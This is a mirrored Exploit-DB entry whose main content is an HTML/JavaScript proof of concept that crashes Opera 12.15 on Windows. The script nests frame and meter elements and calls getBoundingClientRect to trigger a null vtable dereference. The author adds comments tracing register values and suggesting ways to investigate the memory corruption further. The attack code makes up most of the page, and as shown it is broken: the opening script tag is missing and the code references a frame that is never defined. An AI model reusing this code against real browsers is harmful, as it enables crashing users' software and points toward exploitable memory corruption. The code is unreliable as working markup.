Opera 12.15 – vtable Corruption - 体验盒子

作者： echo

日期： 2013-07-02

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/26555/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title> Opera 12.15 DOS POC</title>

</head>

<body>

/*

Title: Opera 12.15 vTable Corruption

Author: echo

Test: Windows 7 x64

Version: Opera 12.15 Win32

Link: www.opera.com

*/

var wnd = document.getElementById("wnd");

wnd = wnd.contentWindow;

function d00m()

{

var tag = [];

tag.push(document.createElement("frame"));

tag.push(document.createElement("meter"));

wnd.document.body.appendChild(tag[0]);

wnd.document.body.appendChild(tag[1]);

/* step 1*/

var obj = tag[1];

var obj_1 = tag[0];

try{ obj_1.appendChild(obj); }catch(b){}

/* eax = [esi + 14h] = this->unknow20 */

try{ obj_1.getBoundingClientRect(); }catch(a){}/* ecx = [eax + 14h] = this->unknow20->unknow20 */

/* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */

/* step 2*/

var obj = tag[0];

var obj_1 = tag[1];

try{ obj_1.appendChild(obj); }catch(b){}

try{ obj_1.getBoundingClientRect();}catch(a){} /* eax = [esi + 14h] = this->unknow20 */

/* ecx = [eax + 14h] = this->unknow20->unknow20 */

} /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */

d00m();

/* so we have here some kind of memory corruption */

/* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */

/* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/

/* logically next step should be checking why the vtable in "step 2" is corrupted */

/* i observed heap allocation and free function between "step 1" and "step 2" - no alloc and free of intersting area occurs (but maybe i fuckup something) */

/* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */

</script>

</body>

</html>